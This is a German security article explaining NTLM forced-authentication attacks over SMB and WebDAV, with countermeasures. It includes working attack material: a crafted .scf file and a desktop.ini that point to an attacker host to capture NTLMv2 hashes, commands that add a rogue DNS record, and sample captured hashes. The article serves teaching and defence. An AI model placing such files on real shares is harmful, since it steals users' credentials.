Das Ziel eines Forced-Authentication-Angriffs ist es an Anmeldedaten zu gelangen, in dem ein Benutzer dazu gebracht wird diese automatisch zu übermitteln. Dabei wird die Eigenschaft von Protokollen ausgenutzt, die versuchen Ressourcen nachzuladen, dabei eine Verbindung zu einem Remotesystem aufbauen und dazu die Anmeldedaten des aktiven Benutzers verwenden. Um eine Authentisierung zu erzwingen, können spezifisch manipulierte Dateien auf Freigaben platziert oder Ressourcen in Emails oder Webseiten eingebettet werden.

Damit ein Forced-Authentication-Angriff erfolgreich ist, müssen einige Bedingungen erfüllt sein. Erstens muss die Authentisierung des Protokolls so aufgebaut sein, dass Angreifer das Passwort direkt erhalten oder errechnen können, zweitens muss das Forcieren von Verbindungen möglich sein und drittens muss der Angreifer ein Authentisierungsserver in der Reichweite des Angriffsziels platzieren können. Die Protokolle SMB und WebDAV in Kombination mit der Authentisierung mittels NTLM eignen sich dafür besonders.

Challenge Response

Bei einem Forced-Authentication-Angriff erlangen Angreifer nicht direkt Zugriff auf das Passwort eines Benutzers. Beide Protokolle SMB und WebDAV verwenden das Authentisierungsprotokoll NTLM. Beim Challenge-Response-Verfahren von NTLM baut der Client eine Verbindung zum Server auf und informiert diesen in der Nachricht NEGOTIATE_MESSAGE darüber welche NTLM-Optionen unterstützt werden. Der Server antwortet mit der Nachricht CHALLENGE_MESSAGE um die Identität des Clients zu prüfen. Der Client wiederum beantwortet diese Challenge mit der Nachricht AUTHENTICATE_MESSAGE.

Die Konfiguration des NTLM LAN Manager Authentication Level bestimmt, welche NTLM-Protokolllevel unterstützt werden. Idealerweise sollten LM und NTLM abgelehnt und nur NTLMv2 zur Authentisierung eingesetzt werden, geschützt durch NTLMv2 Session Security. Keiner der Protokolllevel kann den Angriff verhindern, die Komplexität zum Errechnen des Passworts kann jedoch erhöht werden.

Das Errechnen eines Passworts ist möglich, da eine NTLMv2-Response wie folgt aufgebaut wird:

1. Der Server sendet die Challenge (8 Byte block random data)
2. Der Client generiert den NTHash aus dem Passwort des Benutzers (basierend auf MD4, 16 Byte)
3. Der Benutzername und der Name des Servers werden in einen String zusammengefügt und daraus wird mittels HMAC-MD5 und dem NTHash als Schlüssel der NTLMv2-Hash errechnet
4. Aus verschiedenen Informationen, unter anderem der aktuelle Zeitstempel, eine Client Nonce und Bestandteilen der Server CHALLENGE_MESSAGE wird ein Datenblock namens blob zusammengesetzt
5. Der blob wird dann mit der Challenge des Servers verbunden und es wird daraus mittels HMAC-MD5 und dem NTLMv2-Hash als Schlüssel ein neuer Wert errechnet
6. Dieser Wert wird mit dem blob aneinander gereiht und dies ergibt die NTLMv2-Response

Der Aufbau der NTLMv2-Response kann in der Dokumentation The NTLM Authentication Protocol and Security Support Provider des Davenport WebDAV-SMB Gateway Projekt im Detail studiert werden.

Da bei einer Forced-Authentication-Attacke der Server durch Angreifer kontrolliert werden, sind alle Informationen des Challenge-Response-Verfahren bekannt und die Antwort des Clients kann dazu benutzt werden, um das Passwort des Benutzers zu errechnen. Im Falle eines Angriffs kann der Server den gleichen Wert als Challenge senden, um die Berechnung mehrerer Passwörter zu vereinfachen. Dazu wird beispielsweise die Challenge 1122334455667788 verwendet.

Authentisierungsserver

Als Authentisierungsserver kann entweder das Tool Responder von Laurent Gaffié oder das Tool ntlmrelayx aus dem Impacket Framework verwendet werden.

Responder verfügt neben Authentisierungsserver für die Protokolle HTTP, SMB, MSSQL, FTP sowie LDAP auch Module für Angriffe gegen die Multicast-Protokolle LLMNR, NBT-NS und MDNS. Die Hashes werden in eine sqlite-Datenbank sowie in Logdateien geschrieben und können direkt mit hashcat errechnet werden.

Das Tool ntlmrelayx ist vor allem bekannt für die verschiedenen Relay-Angriffe gegen verschiedene Windowsprotokolle und -dienste. Aufgezeichnete Hashes können in eine Datei geschrieben werden und können ebenfalls direkt mit hashcat verwendet werden.

Beide Tools können individuell konfiguriert werden und eignen sich beide hervorragend als Authentisierungsserver für Forced-Authentication-Angriffe.

Angriff

Für den Angriff wird eine Datei so präpariert, dass beim Öffnen oder bereits beim Anzeigen der Datei in Windows Explorer eine Ressource von einem Remote-Server geladen wird. In den Beispielen wird vorausgesetzt, dass Angreifer auf eine Freigabe schreiben können, beispielsweise ein Transferverzeichnis für das Unternehmen. Der Authentisierungsserver der Angreifer befindet sich im gleichen Netzwerkwerk wie die Zielsysteme.

Im einfachsten Fall kann die Ressource über SMB nachgeladen werden. Dann kann der Pfad mit einer IP-Adresse angegeben werden. Falls eine SMB-Verbindung über den Port 445/tcp nicht aufgebaut werden kann, findet ein Fallback auf WebDAV statt. Eine NTLM-Authentisierung wird aber nur durchgeführt, wenn ein NetBIOS-Name definiert wurde und sich der Authentisierungsserver in einer vertrauenswürdigen Zone befindet. Falls eine Verbindung über WebDAV auf dem Standardport 80/tcp auch geblockt wird, kann der Port im Pfad angepasst werden:

Wenn ein anderer Port verwendet wird, muss entweder die Konfiguration des Authentisierungsserver angepasst oder eine Weiterleitung des Ports konfiguriert werden:

$ port=8080
$ sudo iptables -t nat -A PREROUTING -p tcp --dport $port -j REDIRECT --to-port 80

Wenn der Authentisierungsserver über keinen NetBIOS-Namen respektive DNS-Eintrag verfügt, können Angreifer mit den Rechten eines Domänenbenutzers einen eigenen Eintrag verwenden, falls Windows DNS Server eingesetzt werden. Dies kann unter anderem mit dem Tool krbrelayx von Dirk-jan Mollema bewerkstelligt werden:

$ python3 krbrelayx/dnstool.py --zone <zone> -a add -r <name> -t A -d <ip-addr> -u <domain>\\<user> ldaps://<dc-fqdn> 
$ python3 krbrelayx/dnstool.py -a add -r "attacker" -t A -d 192.0.2.5 -u example.org\\craig ldaps://dc01.example.org

Der Parameter zone muss nur genutzt werden, wenn die Zone nicht der Domäne entspricht. In dem Befehl wird ein A-Record attacker für die IP-Adresse 192.0.2.5 durch den Benutzer craig erstellt.

Als Datei können verschiedene Formate wie lnk, scf, oder desktop.ini für den Angriff verwendet werden. Das Metasploit Framework verfügt über das Auxiliary multidrop um eine solche Datei zu generieren. Eine Datei im Format scf kann auch mit einem Texteditor erstellt werden:

[Shell]
Command=2
IconFile=\\192.0.2.5\share\test.ico
[Taskbar]
Command=ToggleDesktop

Wenn nun ein Benutzer im Windows Explorer diese Datei anzeigt, wird eine Verbindung zum Authentisierungsserver der Angreifer aufgebaut und der NTLMv2-Hash aufgezeichnet.

[SMB] NTLMv2-SSP Client   : 192.0.2.23
[SMB] NTLMv2-SSP Username : EXAMPLE\bob
[SMB] NTLMv2-SSP Hash     : bob::EXAMPLE:1122334455667788:A4589A28A82D83A6D381606C4BD1B41A:010100000...

In Responder ist es ersichtlich, über welches Protokoll der Hash aufgezeichnet wurde. In dem Fall handelt es sich um SMB. Wenn nun eine Netzwerkfreigabe voller Verzeichnisse ist und daher die Datei nicht direkt angezeigt wird, kann auch das Icon eines Ordners verwendet werden. Dazu wird die Datei desktop.ini im jeweiligen Ordner platziert:

[ViewState]
Mode=
Vid=
FolderType=Generic
[.ShellClassInfo]
IconResource=\\attacker@8080\share\test.ico,0

In diesem Fall wird eine WebDAV-Verbindung zum Authentisierungsserver der Angreifer aufgebaut und der NTLMv2-Hash aufgezeichnet.

[WebDAV] NTLMv2 Client   : 192.0.2.23
[WebDAV] NTLMv2 Username : EXAMPLE\bob
[WebDAV] NTLMv2 Hash     : bob::EXAMPLE:1122334455667788:5660BDAF68D6598588B9D5EDDAC52522:010100000...

Angreifer können beliebig viele Dateien in verschiedenen Freigaben platzieren und über eine bestimmte Zeit Hashes sammeln und diese dann später offline errechnen.

Gegenmassnahmen

Es gibt kein anderen Schritt, um alle Angriffe gegen ein Netzwerkprotokoll zu unterbinden als das Netzwerkprotokoll komplett zu deaktivieren. Dementsprechend kann einen Forced-Authentication-Angriff nur abgewehrt werden, wenn das Protokoll NTLM deaktiviert wird. Die Deaktivierung ist jedoch ein langwieriger Prozess und es sollte vorher sorgfältig abgeklärt werden, ob NTLM nicht noch in der Infrastruktur gebraucht werden. Ned Pyle von Microsoft hat zur Analyse den Artikel NTLM Blocking and You: Application Analysis and Auditing Methodologies in Windows 7 geschrieben.

Die Deaktivierung des Dienstes WebClient verhindert, dass ein Fallback zu WebDAV stattfindet, wenn eine SMB-Verbindung nicht aufgebaut werden kann. Dazu kann eine Gruppenrichtlinie konfiguriert werden, um den Dienst WebClient zu deaktivieren. Wiederum hat Ned Pyle einen hilfreichen Artikel namens How to Defend Users from Interception Attacks via SMB Client Defense zu dem Thema verfasst.

Durch eine restriktive Segmentierung des Netzwerks sowie das Unterbinden von Client-zu-Client-Verbindungen kann der Angriff erschwert werden. Für eine Attacke über WebDAV benötigen Angreifer jedoch nur einen offenen Port, das Sperren von 80/tcp und 445/tcp reicht nicht aus. Ausgehende Verbindung über Port 445/tcp ins Internet sollten auf keinem Fall erlaubt werden.

Eine weitere Methode ist die Verwendung von langen und komplexen Passwörtern. Der Angriff selbst kann damit nicht verhindert werden, aber das Errechnen von Passwörter wird dadurch erschwert. Der Einsatz von Multi-Faktor-Authentication kann erschweren, dass die errechneten Passwörter verwendet werden können.

Fazit

Forced-Authentication-Angriffe sind ein effizientes Mittel für Angreifer an Anmeldedaten von anderen Benutzern zu gelangen, wenn sie sich zuvor im Netzwerk festsetzen konnten. Um solche Angriffe abwehren zu können, sind einschneidende Eingriffe in die Konfiguration der Windows-Systeme notwendig. Die Einführung einer Netzwerksegmentation und die Isolierung von Clients sind auch ein Hilfsmittel gegen solche Angriffe. Die Umsetzung mit einer Windows Hostfirewall und die Deaktivierung des Dienstes Webclients sind kurz- und mittelfristige Massnahmen, während die Deaktivierung von NTLM eine lange Analyse bevor der Umsetzung mit sich bringt. Der Sicherheitsgewinn macht den hohen Aufwand mehr als wett.

Über den Autor

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

• http://davenport.sourceforge.net/ntlm.html
• http://hashcat.net/
• https://attack.mitre.org/techniques/T1187/
• https://blogs.technet.microsoft.com/askds/2009/10/08/ntlm-blocking-and-you-application-analysis-and-auditing-methodologies-in-windows-7/
• https://dirkjanm.io/
• https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level
• https://g-laurent.blogspot.com/
• https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
• https://github.com/dirkjanm/krbrelayx
• https://github.com/lgandx/Responder
• https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/fileformat/multidrop.rb
• https://metasploit.com/
• https://techcommunity.microsoft.com/t5/itops-talk-blog/how-to-defend-users-from-interception-attacks-via-smb-client/ba-p/1494995
• https://techcommunity.microsoft.com/t5/user/viewprofilepage/user-id/52778#profile